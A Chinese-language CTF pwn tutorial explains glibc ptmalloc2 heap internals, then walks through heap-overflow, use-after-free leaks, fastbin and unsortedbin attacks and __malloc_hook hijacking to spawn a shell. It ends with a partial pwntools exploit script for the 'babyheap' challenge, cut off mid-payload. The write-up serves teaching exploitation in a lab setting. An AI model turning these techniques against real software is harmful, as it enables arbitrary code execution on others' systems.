CTF_pwn_堆入门知识及例题分析
x1aob1n 二进制安全 8522浏览 · 2021-12-17 02:34

1.堆

1.1 堆概述

1.1.1 堆数据结构,申请与释放

堆和栈都是一种数据结构,在内存中线性分布储存数据,栈由高地址向低地址伸展,堆由低地址向高地址伸展。堆的位置一般都在bss段的高地址处。

在程序运行过程中,堆可以提供动态分配的内存,允许程序申请大小未知的内存。堆其实就是程序虚拟地址空间的一块连续的线性区域,它由低地址向高地址方向增长。我们一般称管理堆的那部分程序为堆管理器。

目前 Linux 标准发行版中使用的堆分配器是 glibc 中的堆分配器:ptmalloc2。ptmalloc2 主要是通过 malloc/free 函数来分配和释放内存块。

_libc_malloc

一般我们会使用 malloc 函数来申请内存块,可是当仔细看 glibc 的源码实现时,其实并没有 malloc 函数。其实该函数真正调用的是 libc_malloc 函数。为什么不直接写个 malloc 函数呢,因为有时候我们可能需要不同的名称。此外,libc_malloc 函数只是用来简单封装 _int_malloc 函数。_int_malloc 才是申请内存块的核心。下面我们来仔细分析一下具体的实现。

该函数会首先检查是否有内存分配函数的钩子函数(__malloc_hook),这个主要用于用户自定义的堆分配函数,方便用户快速修改堆分配函数并进行测试。这里需要注意的是,用户申请的字节一旦进入申请内存函数中就变成了无符号整数

// wapper for int_malloc
void *__libc_malloc(size_t bytes) {
    mstate ar_ptr;
    void * victim;
    // 检查是否有内存分配钩子,如果有,调用钩子并返回.
    void *(*hook)(size_t, const void *) = atomic_forced_read(__malloc_hook);
    if (__builtin_expect(hook != NULL, 0))
        return (*hook)(bytes, RETURN_ADDRESS(0));

判断目前的状态是否满足以下条件

  • 要么没有申请到内存
  • 要么是 mmap 的内存
  • 要么申请到的内存必须在其所分配的 arena 中

_int_malloc

_int_malloc 是内存分配的核心函数,其核心思路有如下

  1. 它根据用户申请的内存块大小以及相应大小 chunk 通常使用的频度(fastbin chunk, small chunk, large chunk),依次实现了不同的分配方法。
  2. 它由小到大依次检查不同的 bin 中是否有相应的空闲块可以满足用户请求的内存。
  3. 当所有的空闲 chunk 都无法满足时,它会考虑 top chunk。
  4. 当 top chunk 也无法满足时,堆分配器才会进行内存块申请。

在进入该函数后,函数立马定义了一系列自己需要的变量,并将用户申请的内存大小转换为内部的 chunk 大小。

fast bin

如果申请的 chunk 的大小位于 fastbin 范围内,需要注意的是这里比较的是无符号整数此外,是从 fastbin 的头结点开始取 chunk

large bin

当 fast bin、small bin 中的 chunk 都不能满足用户请求 chunk 大小时,就会考虑是不是 large bin。但是,其实在 large bin 中并没有直接去扫描对应 bin 中的 chunk,而是先利用 malloc_consolidate(参见 malloc_state 相关函数) 函数处理 fast bin 中的 chunk,将有可能能够合并的 chunk 先进行合并后放到 unsorted bin 中,不能够合并的就直接放到 unsorted bin 中,然后再在下面的大循环中进行相应的处理。为什么不直接从相应的 bin 中取出 large chunk 呢?这是 ptmalloc 的机制,它会在分配 large chunk 之前对堆中碎片 chunk 进行合并,以便减少堆中的碎片。

大循环 - 遍历 unsorted bin

如果程序执行到了这里,那么说明 与 chunk 大小正好一致的 bin (fast bin, small bin) 中没有 chunk 可以直接满足需求 ,但是 large chunk 则是在这个大循环中处理

在接下来的这个循环中,主要做了以下的操作

  • 按照 FIFO 的方式逐个将 unsorted bin 中的 chunk 取出来
    • 如果是 small request,则考虑是不是恰好满足,是的话,直接返回。
    • 如果不是的话,放到对应的 bin 中。
  • 尝试从 large bin 中分配用户所需的内存

该部分是一个大循环,这是为了尝试重新分配 small bin chunk,这是因为我们虽然会首先使用 large bin,top chunk 来尝试满足用户的请求,但是如果没有满足的话,由于我们在上面没有分配成功 small bin,我们并没有对 fast bin 中的 chunk 进行合并,所以这里会进行 fast bin chunk 的合并,进而使用一个大循环来尝试再次分配 small bin chunk。

使用 top chunk

如果所有的 bin 中的 chunk 都没有办法直接满足要求(即不合并),或者说都没有空闲的 chunk。那么我们就只能使用 top chunk 了。

1.1.2 malloc

在glibc的malloc中,有以下说明:

malloc 函数返回对应大小字节的内存块的指针。

当 n=0 时,返回当前系统允许的堆的最小内存块

当 n 为负数时,由于在大多数系统上,size_t 是无符号数(这一点非常重要),所以程序就会申请很大的内存空间,但通常来说都会失败,因为系统没有那么多的内存可以分配。

malloc --> __libc_malloc --> _int_malloc

__libc_malloc(size)

用户申请的字节一旦进入申请内存函数中就变成了 无符号整数。
寻找钩子hook ----》 寻找arena ----》 调用_int_malloc分配内存 -+--》成功,返回内存
                                          ↑                 |
                                          |                 ↓
                                          +-----分配失败,再寻找一个arena
_int_malloc()

--------------------------------------------------------------------------------

将size转化为对应的chunk大小 ----》 fastbin ----》 遍历(后进先出),检查大小是否符合 ----》 符合则计算索引 ----》 chunk转换为内存返回
根据大小选择bin            ----》 smallbin ----》获取索引、指针 ----》 检查该bin是否为空 ----》 不为空 ----》将链表中最后一个chunk分配(先进先出)
                                                                                      |           +----》 初始化
                                                                                      +---》 该bin为空
                          ----》 不在fastbin和smallbin中 ----》 malloc_consolidate():处理fastbin ----》 可以合并的合并,然后放 unsorted bin ----》大循环

----------------------------------------------------------------------------------

大循环 ----》 遍历unsorted bin ----》 FIFO寻找大小刚好合适的bin ----》若有,bin转为内存后返回
循环10000次                                                  ----》若没有,则将当前的unsorted bin按照大小放至对应的small或large中
      ----》 遍历large bin ----》对应的 bin 中从小(链表尾部)到大(头部)进行扫描 ----》 找到第一个合适的返回
      ----》 若大小合适的bin都不存在,则在map中找更大的bin遍历 ----》 找到,返回内存
                                                           ----》 找不到,使用top chunk ----》 满足,分割后返回
                                                                                       ----》 不满足,使用 sysmalloc 来申请内存

------------------------------------------------------------------------------------

//从 fastbin 的头结点开始取 chunk(LIFO)
1.1.3 free

在glibc'中的free,有以下说明:

free 函数会释放由 p 所指向的内存块。这个内存块有可能是通过 malloc 函数得到的,也有可能是通过相关的函数 realloc 得到的。

当 p 为空指针时,函数不执行任何操作。

当 p 已经被释放之后,再次释放会出现乱七八糟的效果,这其实就是 double free

除了被禁用 (mallopt) 的情况下,当释放很大的内存空间时,程序会将这些内存空间还给系统,以便于减小程序所使用的内存空间。

free --> __libc_free --> _int_free

_int_free()

检查 ----》是否fastbin ----》是fastbin,放至fastbin链表表头
                      +---》是否mmap分配 ----》 是,munmap_chunk()
                                        +---》 否,合并chunk ----》 向低地址合并 ----》想高地址合并 ----》 下一个是否是top chunk ----》 是,合并到top chunk
                                                                                                                            +---》 否,合并加入unsorted bin
1.1.4 内存分配中的系统调用

在前面提到的函数中,无论是 malloc 函数还是 free 函数,我们动态申请和释放内存时,都经常会使用,但是它们并不是真正与系统交互的函数。这些函数背后的系统调用主要是brk函数以及 mmap,mummap函数。 堆进行申请内存块的操作

(s)brk

对于堆的操作,操作系统提供了 brk 函数,glibc 库提供了 sbrk 函数,我们可以通过增加 brk的大小来向操作系统申请内存。

初始时,堆的起始地址 start_brk以及堆的当前末尾 brk指向同一地址。根据是否开启 ASLR,两者的具体位置会有所不同

  • 不开启 ASLR 保护时,start_brk 以及 brk 会指向 data/bss 段的结尾。
  • 开启 ASLR 保护时,start_brk 以及 brk 也会指向同一位置,只是这个位置是在 data/bss 段结尾后的随机偏移处。

例子

/* sbrk and brk example */
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main()
{
        void *curr_brk, *tmp_brk = NULL; //创立空指针

        printf("Welcome to sbrk example:%d\n", getpid()); //读取heap,pid

        /* sbrk(0) gives current program break location */
        tmp_brk = curr_brk = sbrk(0); //通过sbrk空指针赋值
        printf("Program Break Location1:%p\n", curr_brk);
        getchar();

        /* brk(addr) increments/decrements program break location */
        brk(curr_brk+4096);

        curr_brk = sbrk(0);
        printf("Program break Location2:%p\n", curr_brk);
        getchar();

        brk(tmp_brk);

        curr_brk = sbrk(0);
        printf("Program Break Location3:%p\n", curr_brk);
        getchar();

        return 0;
}

在第一次调用brk函数之前。

从下面的输出中可以看出没用产生堆。

start_brk = brk = end_data = 0x1bd2000

在第二次调用brk函数

start_brk = end_data = 0x1bb1000

bak = 0x1bd3000

其中,关于堆的那一行

  • 0x01bb1000 是相应堆的起始地址
  • rw-p 表明堆具有可读可写权限,并且属于隐私数据。
  • 00000000 表明文件偏移,由于这部分内容并不是从文件中映射得到的,所以为 0。
  • 00:00 是主从 (Major/mirror) 的设备号,这部分内容也不是从文件中映射得到的,所以也都为 0。
  • 0 表示着 Inode 号。由于这部分内容并不是从文件中映射得到的,所以为 0。
1.1.5 Chunk

chunk是glibc管理内存的基本单位,整个堆在初始化后会被当成一个free chunk,称为top chunk,每次用户请求内存时,如果bins中没有合适的chunk,malloc就会从top chunk中进行划分,如果top chunk的大小不够,就调用brk函数扩展堆的大小,然后从新生成的top chunk中进行划分。用户释放内存时,glibc会先根据情况将释放的chunk与其他相邻的free chunk合并,然后加入合适的bin中。

chunk的数据结构如下

struct malloc_chunk{
    INTERNAL_SIZE_T mchunk_prev_size; 记录被释放的相邻chunk的大小。
    INTERNAL_SIZE_T mchunk_size;      记录当前chunk的大小,chunk的大小都是8字节对齐
    struct malloc_chunk *fd;
    struct malloc_chunk *bk;
    struct malloc_chunk *fd_nextsize;
    struck malloc_chunk *bk_nextsize; 
}

1.Fast bin

Fast bin分类的chunk的大小为32-128字节(0x80)字节,如果chunk在被释放时发现其大小满足这个要求,则将该chunk放入Fast Bin。一个最新被加入的Fast Bin的chunk,其fd指针指向上一次加入的Fast Bin的chunk。

2.Small bin

Small bin保存大小为32-1024(0x400)字节的chunk,每个放入其中的chunk为双链表结构,不同大小的chunk储存在对应的链接中。由于时双链表结构,所以他的速度比fast bin慢一些。

3.Large bin

大于1024字节的chunk使用Large Bin进行管理。相同大小的Large Bin使用fd和bk指针连接,不同大小的Large bin通过fd_nextsize和bk_nextsize按大小排序连接。

4.Unsorted Bin

Unsorted Bin相当于Ptmalloc2堆管理器的垃圾桶。chunk被释放后,会先加入Unsorted Bin中,等待下次分配使用。在堆管理器的Unsorted Bin不为空的时候,用户申请非Fast Bin大小内存会先从Unsorted Bin中查找,如果找到符合该申请的chunk(等于或者大于),则直接分配或者分割该chunk。

1.1.6 arena

arena包含一片或者数片连续的内存,对快将会从这片区域中划分给用户。主线程的arena被称为main_arena,它包含start_brk 和 brk之间的这片连续内存。一般把start_brk 和 brk之间这片连续的内存称为堆。

主线程arena只有堆,子线程的arena可以有数片连续的内存。如果主线程的堆大小不够分的话,就要通过brk函数调用来扩展,但是子线程分配的映射段大小是固定的,不可以扩展的,所以子线程分配处理的一段映射段不够用的话就需要再次使用mmap函数来分配新的内存。

1.2 简单的堆漏洞

1.2.1 堆溢出概述

堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数),因而导致了数据溢出,并覆盖到物理相邻的高地址的下一个堆块。

不难发现,堆溢出漏洞发生的基本前提是

  • 程序向堆上写入数据。
  • 写入的数据大小没有被良好地控制。

对于攻击者来说,堆溢出漏洞轻则可以使得程序崩溃,重则可以使得攻击者控制程序执行流程。

堆溢出是一种特定的缓冲区溢出(还有栈溢出, bss 段溢出等)。但是其与栈溢出所不同的是,堆上并不存在返回地址等可以让攻击者直接控制执行流程的数据,因此我们一般无法直接通过堆溢出来控制 EIP 。一般来说,我们利用堆溢出的策略是

  1. 覆盖与其

    物理相邻的下一个 chunk的内容。

    • prev_size
    • size,主要有三个比特位,以及该堆块真正的大小。
      • NON_MAIN_ARENA
      • IS_MAPPED
      • PREV_INUSE
      • the True chunk size
    • chunk content,从而改变程序固有的执行流。
  2. 利用堆中的机制(如 unlink 等 )来实现任意地址写入( Write-Anything-Anywhere)或控制堆块中的内容等效果,从而来控制程序的执行流。

1.2.2 堆溢出总结

1.寻找堆分配函数

一般来说堆分配函数数就是malloc和free,但是某些情况下会使用calloc分配,calloc和molloc 的区别是calloc在分配后会自动进行清空。

calloc(0x20);
//等同于
ptr=malloc(0x20);
memset(ptr,0,0x20);

还有一种分配是经过realloc函数进行分配的,realloc函数可以兼职malloc函数和free函数的功能

#include <stdio.h>

int main(void) 
{
  char *chunk,*chunk1;
  chunk=malloc(16);
  chunk1=realloc(chunk,32);
  return 0;
}

realloc 的操作并不是像字面意义上那么简单,其内部会根据不同的情况进行不同操作

  • 当 realloc(ptr,size) 的 size 不等于 ptr 的 size 时
    • 如果申请 size > 原来 size
      • 如果 chunk 与 top chunk 相邻,直接扩展这个 chunk 到新 size 大小
      • 如果 chunk 与 top chunk 不相邻,相当于 free(ptr),malloc(new_size)
    • 如果申请 size < 原来 size
      • 如果相差不足以容得下一个最小 chunk(64 位下 32 个字节,32 位下 16 个字节),则保持不变
      • 如果相差可以容得下一个最小 chunk,则切割原 chunk 为两部分,free 掉后一部分
  • 当 realloc(ptr,size) 的 size 等于 0 时,相当于 free(ptr)
  • 当 realloc(ptr,size) 的 size 等于 ptr 的 size,不进行任何操作

2.寻找危险函数

通过寻找危险函数,我们快速确定程序是否可能有堆溢出,以及有的话,堆溢出的位置在哪里。

常见的危险函数如下

  • 输入
    • gets,直接读取一行,忽略 '\x00'
    • scanf
    • vscanf
  • 输出
    • sprintf
  • 字符串
    • strcpy,字符串复制,遇到 '\x00' 停止
    • strcat,字符串拼接,遇到 '\x00' 停止
    • bcopy

3.确定填充函数

这一部分主要是计算我们开始写入的地址与我们所要覆盖的地址之间的距离。 一个常见的误区是 malloc 的参数等于实际分配堆块的大小,但是事实上 ptmalloc 分配出来的大小是对齐的。这个长度一般是字长的 2 倍,比如 32 位系统是 8 个字节,64 位系统是 16 个字节。但是对于不大于 2 倍字长的请求,malloc 会直接返回 2 倍字长的块也就是最小 chunk,比如 64 位系统执行malloc(0)会返回用户区域为 16 字节的块。

#include <stdio.h>

int main(void) 
{
  char *chunk;
  chunk=malloc(0);
  puts("Get input:");
  gets(chunk);
  return 0;
}
//根据系统的位数,malloc会分配8或16字节的用户空间
0x602000:   0x0000000000000000  0x0000000000000021
0x602010:   0x0000000000000000  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000020fe1
0x602030:   0x0000000000000000  0x0000000000000000

实际上 ptmalloc 分配内存是以双字为基本单位,以 64 位系统为例,分配出来的空间是 16 的整数倍,即用户申请的 chunk 都是 16 字节对齐的。

1.3 堆利用

在该章节中,我们会按照如下的步骤进行介绍

  1. 介绍我们所熟知的动态内存分配的堆的宏观操作
  2. 介绍为了达到这些操作所使用的数据结构
  3. 介绍利用这些数据结构实现堆的分配与回收的具体操作
  4. 由浅入深地介绍堆的各种利用技巧。
8.3.1 通过堆进行信息泄露

什么叫做信息泄露,leak?

在 CTF 中,Pwn 题目一般都是运行在远端服务器上的。因此我们不能获知服务器上的 libc.so 地址、Heap 基地址等地址信息,但是在进行利用的时候往往需要这些地址,此时就需要进行信息泄漏。

信息泄露的目标

信息泄露的目标有哪些,可以通过看一下内存分布来了解

Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/pwn
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/pwn
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/pwn
//首先第一个是主模块的基地址,因为只有在开启 PIE(地址无关代码) 的情况下主模块的基地址才会发生改变,因此通常情况下主模块的地址不需要泄漏。
0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap]  
//第二个是堆地址,堆地址对于进程来说是每次运行都会改变,当然需要控制堆中的数据时可能就需要先泄漏堆基地址。
0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 0x0000000000000000 rw- 
0x00007ffff7dd7000 0x00007ffff7dfd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fdb000 0x00007ffff7fde000 0x0000000000000000 rw- 
0x00007ffff7ff6000 0x00007ffff7ff8000 0x0000000000000000 rw- 
0x00007ffff7ff8000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000025000 r-- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000026000 rw- /lib/x86_64-linux-gnu/ld-2.23.so
//第三个是 libc.so 的地址,在很多情况下我们只有通过 libc 中的 system 等函数才能实现代码执行,并且  malloc_hook、one_gadgets、IO_FILE 等结构也都储存在 libc 中,因此 libc 的地址也是我们泄漏的目标。 
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

通过什么进行信息泄露

通过前面的知识我们知道 heap 分为

unsorted bin、fastbin、smallbin、large bin 等,

我们逐个考察这些结构来查看如何进行泄漏。

unsorted bin

我们构造两个 unsorted bin 然后查看它的内存,现在在 unsorted bin 链表中存在两个块,第一个块的地址是 0x602000、第二个块的地址是 0x6020f0

0x602000:   0x0000000000000000  0x00000000000000d1
0x602010:   0x00007ffff7dd1b78  0x00000000006020f0 <=== 指向下一个块
0x602020:   0x0000000000000000  0x0000000000000000
0x602030:   0x0000000000000000  0x0000000000000000
0x6020f0:   0x0000000000000000  0x00000000000000d1
0x602100:   0x0000000000602000  0x00007ffff7dd1b78 <=== 指向main_arena
0x602110:   0x0000000000000000  0x0000000000000000
0x602120:   0x0000000000000000  0x0000000000000000

因此我们知道通过 unsorted bin 我们可以获取到某个堆块的地址和 main_areana 的地址。一旦获取到某个堆块的地址就可以通过 malloc 的 size 进行计算从而获得堆基地址。一旦获取到 main_arena 的地址,因为 main_arena 存在于 libc.so 中就可以计算偏移得出 libc.so 的基地址。

因此,通过 unsorted bin 可以获得:1.libc.so 的基地址 2.heap 基地址

fast bin

我们构造了两个 fastbin 然后查看它们的内存,现在在 fastbin 链表中存在两个块,第一个块的地址是 0x602040,第二个块的地址是 0x602000

0x602000:   0x0000000000000000  0x0000000000000021
0x602010:   0x0000000000000000  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000021
0x602050:   0x0000000000602000  0x0000000000000000 <=== 指向第一个块

根据前面的知识我们知道 fastbin 链表最末端的块 fd 域为 0,此后每个块的 fd 域指向前一个块。

因此通过 fastbin 只能泄漏 heap 的基地址

small bin

我们构造了两个 fastbin 然后查看它们的内存,现在在 fastbin 链表中存在两个块,第一个块的地址是 0x602000,第二个块的地址是 0x6020f0

0x602000:   0x0000000000000000  0x00000000000000d1
0x602010:   0x00007ffff7dd1c38  0x00000000006020f0 <=== 下一个块的地址
0x602020:   0x0000000000000000  0x0000000000000000
0x602030:   0x0000000000000000  0x0000000000000000
0x6020f0:   0x0000000000000000  0x00000000000000d1
0x602100:   0x0000000000602000  0x00007ffff7dd1c38 <=== main_arena的地址
0x602110:   0x0000000000000000  0x0000000000000000
0x602120:   0x0000000000000000  0x0000000000000000

因此,通过 smallbin 可以获得:1.libc.so 的基地址 2.heap 基地址

哪些漏洞可以用于泄漏

通过前面的知识我们可以获知堆中存在哪些地址信息,但是想要获取到这些地址需要通过漏洞来实现 一般来说以下漏洞是可以进行信息漏洞的

  • 堆内存未初始化
  • 堆溢出
  • Use-After-Free
  • 越界读
  • heap extend

1.通过UAF 读heapbase:

p0 = malloc(0x20);
p1 = malloc(0x20);

free(p0);
free(p1);

printf('heap base:%p',*p1);

由于 fastbin list 的特性,当我们构造一条 fastbin list 的时候

(0x30)     fastbin[1]: 0x602030 --> 0x602000 --> 0x0

存在 chunk 1 -> chunk 0 的现象,如果此时 UAF 漏洞存在,我们可以通过 show chunk 1,将 chunk 0 的地址打印出来

同理可以泄露 libc base

p0 = malloc(0x100);
free(p0);
printf("libc: %p\n", *p0);

bin介绍

fastbins是单链表存储结构

unsortedbin、smallbins、largebins都是双向循环链表存储

并且free掉的chunk,如果大小在0x20~0x80之间会直接放到fastbins链表上去,大于0x80的会先放到unsortedbin上,然后进行整理。

fastbins的存储采用后进先出的原则:后free的chunk会被添加到先free的chunk的后面;同理,通过malloc取出chunk时是先去取最新放进去的。

free(chunk1)
free(chunk2)
free(chunk3)
----fastbin-----
chunk3->chunk2->chunk1
----------------
malloc(0x10) ->chunk3
----fastbin-----
chunk2->chunk1
----------------

因此,fastbins中的所有chunk的bk是没有用到的,因为是单链表。

#include <stdio.h>
#include <stdlib.h>

int main()
{
    int *p1=malloc(0x10);
    int *p2=malloc(0x10);
    int *p3=malloc(0x20);

    puts("1");  
    free(p1);
    free(p2);
    free(p3);
    return 0;
}

断点在puts函数

查看堆和bin

然后再下一步,free p1 p2 p3

unsortedbins的存储采用先进先出的原则: 就跟队列差不多,先放进去的先出来,但是当它里面只有一个bin的时候,fd和bk就会指向同一个地方,main_arena+0x58

--------unsortedbins----------
      main_arena+0x58

 unsorted bin chunk1{
    fd;
    bk;
 }

unsorted bin chunk2{
    fd;
    bk;
}

测试代码

#include <stdio.h>
#include <stdlib.h>


int main()
{
    int *p1=malloc(0x100);
    int *p2=malloc(0x100);    

    puts("1");
    free(p1);
    free(p2);
    return 0;
}

还是断到puts上面

free p1之后

fastbin attack

原理

首先是因为free一个fastbin大小的chunk,会被放入fastbins链表中。如果此时通过malloc*p=malloc(0x10)申请一个区域,然后再把它free到fastbin中,但是不使得p的指针为NULL,就仍然会指向chunk的地址。

然后fastbin中的bin头的fd指针由于后进先出的原理还是指向我们刚刚的那个chunk,而p指针指向的就是这个chunk的fd。

此时这个chunk的fd指针指向的是0(滞空),那我们就可以通过修改p指针将fd指针指向我们所需要的目标地址

*p=target_addr
 fd=p;

然后去malloc一个跟我们释放的chunk相等大小的chunk,那么本来哪个被free掉的chunk就会从fastbin中被申请到实际堆内存中,然后fastbin的链表就被断掉了,这样就会使得arena的fastbin的bin头的fd指针指向于我们的target地址

int *q=malloc(size)

此时bin头的fd指针已经指向target的地址了,如果我们再去malloc,就是把target这块地址malloc到堆内存了,这样就可以使用target地址,对它进行操作了

int *target=malloc(size)

target_addr 的构造

检测:从fastbin中malloc一个freechunk的时候,会进行一些检测。

1:malloc的freechunk的大小需要在fastbin大小范围内(0x30-0x40时,却申请一个0x50的chunk,那么就不行)

2:检查chunk中的size的PREV_INUSE的数值,为1才能通过检测。

检测1:检测你要malloc的freechunk的大小是否在该chunk所在的fastbin链的大小尺寸范围内(例如:一个fastbin链所存储的chunk大小必须在0x30-0x40之间,但是你要申请的这个chunk却是0x50,那么就会程序就报错退出)。
检测2:检测你这个freechunk的size成员的PREV_INUSE为是否为1,为1才可以通过检测。

构造:

1.需要让target目标地址指定到size成员地址处的数值,能曼珠检测1

2.当target地址处的数值不能曼珠fastbin要求时,可以通过内存地址的偏移,取target地址附近的其他地址。例如

此时我们就不是直接把target地址作为攻击的地址,因为它指定的偏移地址处的size成员不满足检测2.

3.我们选取攻击目标地址的偏移size成员数值的NON_MAIN_ARENA、IS_MAPPED、PREV_INUSE位都要为1,然后此时fastbin中的chunk大小为0x70~0x80,而伪造size成员处的数值为0x71时就不能符合要求,但是0x7f因为多了2个位就可以满足要求。

4.在二次malloc的时候,最好malloc一个大小在0x70~0x80之间的堆块(从之前的调试可以看出,其实此时的size要为0x60~0x70)这个我是申请了0x60和0x70,但此时chunk的大小为0x71和0x81。

申请了这样的chunk时,我们的目标地址就会被放入0x70~0x80范围的fastbin中,就可以通过0x7f来跳过检测1

5.利用unsortedbin attack构造一个0x7f地址来构造target_addr

核心思想

一般情况下,只能在目标地址上写一个大数值,而且unsortedbin attack通常是为了配合fastbin attack的构造target_addr使用的。

原理

unsortedbin正常存储freechunk的结构如图所示,此时这个freechunk是我们还可以通过指针操控的(虽然free了但没有置空)。

如果在取走堆块之前,将chunk1的bk指针修改成target地址

此时我们再去malloc申请chunk

就会有操作代码

bck = freechunk->bk;
unsorted_chunks(av)->bk = bck;
bck-fd = unsorted_chunks(av);

操作过后就如图

此时target的fd内容就是unsortedbin头的fd指针(glibc中fd指针肯定是0x7f开头的大数值)。因此就实现target地址的指定位置处写入了一个大的数值。

在fastbin attack中的运用:

当fastbin attack中构造堆块的时候,需要将目标地址的size数值处写入一个0x7f才能通过检测1的检查,如果没有办法写入0x7f的话,就需要用到unsortedbin attack,将构造堆块的地址作为unsortedbin attack的目标地址,通过改写unsortedbin头的fd指针为目标地址,就可以在指定位置写入0x7f的数值了(要计算好偏移位置)

操作:

1.malloc fastchunk 0x70

2.free fastchunk

3.fastchunk.fd - > target_addr

4.malloc unsortedchunk 0x100

5.free unsortedchunk

6.改变 0x100+0x8的位置为target_addr (就是bk的位置)

7.malloc 0x100 此时已经把bin头的地址跟target.fd连接起来了

8.malloc 0x70 将第一次malloc的堆块取出来,此时fastbin中只有target了

9.malloc 0x70 取出target

(其中1 2 3 8 9是fastbin attack 4 5 6 7是unsortedbin attack)

其中第8步来看一下。
我们在第3步的时候,是通过指针来使得fastchunk.fd->target_addr的。
但是实际上,target_addr是没有落在fastbin上面的。只能算是被连接到fastbin上面了
所以在malloc 0x70的时候取出fastchunk,但是fastbin中仍然存在着target
我们申请unsortedbinchunk并且修改bk指针为target_addr,的目的只是为了让bin头指向target.fd

例子

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
    int size=0x100;
    char *p=malloc(size);
    printf("%p\n",p);
    free(p);
    puts("1"); //第一步

    *(long*)(p+8)=0x601100; //0x601100是我们的攻击目标
    puts("2"); //第二步

    char *r=malloc(size);
    printf("%p\n",r);
    puts("3"); //第三步

    return 0;
}

由于申请了0x100的堆块,所以它被释放之后会被放入unsortedbin中

可以看到freechunk的bk和fd都指向于malloc_state结构体中的bin链头fd处。

然后在让bk指向target

最后一步的这个0x3,就是偏移了,因为我们只想取得0x7f,而0x601110的高位才是0x7f。

然后可以看到第三位才是7f,所以偏移是0x3.

_malloc_hook攻击

原理:malloc_hook攻击原理为fastbin attack,通过fastbin attack,我们可以发起malloc_hook攻击,将__malloc_hook作为我们的target。

malloc源代码

void * __libc_malloc (size_t bytes){

    mstate ar_ptr;
    void *victim;
    //读取_malloc_hook钩子,如果有钩子,则运行钩子函数并返回
    void *(*hook) (size_t, const void *) = atomic_forced_read (__malloc_hook);
    if (__builtin_expect (hook != NULL, 0))
        return (*hook)(bytes, RETURN_ADDRESS (0));

    arena_get (ar_ptr, bytes); //寻找一共合适的arena来加载内存

    victim = _int_malloc (ar_ptr, bytes);//尝试调用_int_malloc()来分配内存
    如果没有找到合适的内存,就尝试找一个可用的arena
    if (!victim && ar_ptr != NULL){
        LIBC_PROBE (memory_malloc_retry, 1, bytes);
        ar_ptr = arena_get_retry (ar_ptr, bytes);
        victim = _int_malloc (ar_ptr, bytes);
    }

    if (ar_ptr != NULL) //如果锁定了arena,还需要解锁该arena
        (void) mutex_unlock (&ar_ptr->mutex);

    return victim;
}

方向①:我们可以将malloc_hook函数指针改为got表中的其它函数指针,那么当执行malloc的时候就回去直接执行我们修改的函数。
方向②:如果我们将
malloc_hook函数指针修改为one_gadget的地址,那么我们就可以在执行malloc的时候起一个shell。

方法: 进程的_malloc_hook地址一定为0x7ffff7dd1b10,所以我们将0x7ffff7dd1b10作为我们的target目标。 但是由于0x7ffff7dd1b10地址的指定偏移处的size成员数值不能够满足glibc的检测,因此我们需要在malloc_hook地址附近找一块合适的地址作为我们的攻击目标。下图可以看出0x7ffff7dd1b10地址的数值都为0不符合要求。

通过尝试发现,0x7ffff7dd1b10-0x23地址处的指定8字节偏移处的数值能够满足glibc的检测,所以我们最终把0x7ffff7dd1b10-0x23=0x7ffff7dd1aed地址作为我们的攻击目标。从下图可以看出,0x7ffff7dd1b10-0x23地址的数值为0x7f,满足size成员的要求。

babyheap-new

漏洞利用

程序主要在fill函数的地方存在堆溢出,且开启的PIE,需要泄露libc_base的地址。开启了Full RELRO就说明不能使用修改got表劫持程序的控制流。 所以就考虑劫持malloc_hook函数并且修改malloc_hook为onegadget获取shell。

泄露libc_base使用的是堆块堆叠,将一共fast chunk和unsorted chunk重叠,然后释放unsorted chunk,就可以通过打印fast chunk获取想要的地址。

先上脚本,然后跟着脚本(看的自己有修改)进行调试。

from pwn import *


p=process("./babyheap")
#p=remote("node4.buuoj.cn",26283)

def allocate(size):
    p.recvuntil('Command: ')
    p.sendline('1')
    p.recvuntil('Size: ')
    p.sendline(str(size))

def fill(idx,content):
    p.recvuntil('Command: ')
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil('Size: ')
    p.sendline(str(len(content)))
    p.recvuntil('Content: ')
    p.send(content)

def free(idx):
    p.recvuntil('Command: ')
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline(str(idx))

def dump(idx):
    p.recvuntil('Command: ')
    p.sendline('4')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvline()
    return p.recvline()

allocate(0x10)      #chunk0
allocate(0x10)      #chunk1
allocate(0x10)      #chunk2
allocate(0x10)      #chunk3
allocate(0x80)      #chunk4

free(1)
free(2)
#gdb.attach(p)


payload = "a"*0x10
payload += p64(0) + p64(0x21)
payload += p64(0) + "a"*8
payload += p64(0) + p64(0x21)
payload += p8(0x80)     #chunk2->fd = chunk4
fill(0,payload)

#gdb.attach(p)

payload = "A"*0x10
